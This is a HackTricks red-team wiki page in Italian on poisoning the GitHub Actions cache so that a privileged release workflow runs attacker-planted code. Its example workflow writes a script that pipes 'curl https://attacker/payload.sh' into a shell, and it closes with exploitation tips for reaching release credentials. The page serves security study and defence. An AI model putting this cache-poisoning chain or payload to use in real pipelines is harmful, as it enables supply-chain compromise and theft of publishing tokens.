GH Actions - Cache Poisoning

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

Il cache di GitHub Actions è globale per un repository. Qualsiasi workflow che conosca una cache key (o restore-keys) può popolare quell’entry, anche se il job ha soltanto permissions: contents: read. GitHub non separa le cache per workflow, tipo di evento o livello di fiducia, quindi un attaccante che comprometta un job a basso privilegio può avvelenare una cache che un job di rilascio privilegiato andrà poi a ripristinare. Questo è come la compromissione di Ultralytics è pivotata da un workflow pull_request_target alla pipeline di pubblicazione su PyPI.

Primitive d’attacco

  • actions/cache espone sia le operazioni di restore che di save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). La chiamata di save è consentita per qualsiasi job eccetto i workflow pull_request veramente non attendibili (triggerati da fork).
  • Le voci della cache sono identificate unicamente dalla key. Ampie restore-keys facilitano l’iniezione di payload perché l’attaccante deve solo corrispondere a un prefisso.
  • Il filesystem messo in cache viene ripristinato verbatim. Se la cache contiene script o binari che vengono eseguiti successivamente, l’attaccante controlla quel percorso di esecuzione.

Esempio di catena di sfruttamento

Il workflow Author (pull_request_target) ha avvelenato la cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Il workflow privilegiato ha ripristinato ed eseguito la cache avvelenata:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Il secondo job ora esegue codice controllato dall’attaccante mentre possiede credenziali di rilascio (PyPI tokens, PATs, cloud deploy keys, ecc.).

Suggerimenti pratici per lo sfruttamento

  • Prendi di mira i workflow attivati da pull_request_target, issue_comment o comandi di bot che continuano a salvare le cache; GitHub permette loro di sovrascrivere le chiavi a livello di repository anche quando il runner ha solo accesso in sola lettura al repo.
  • Cerca chiavi di cache deterministiche riutilizzate oltre i confini di fiducia (per esempio, pip-${{ hashFiles('poetry.lock') }}) o restore-keys permissivi, quindi salva il tuo tarball maligno prima che il workflow privilegiato venga eseguito.
  • Monitora i log per voci Cache saved oppure aggiungi il tuo step di salvataggio cache in modo che il successivo job di release ripristini il payload ed esegua gli script o i binari trojanized.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks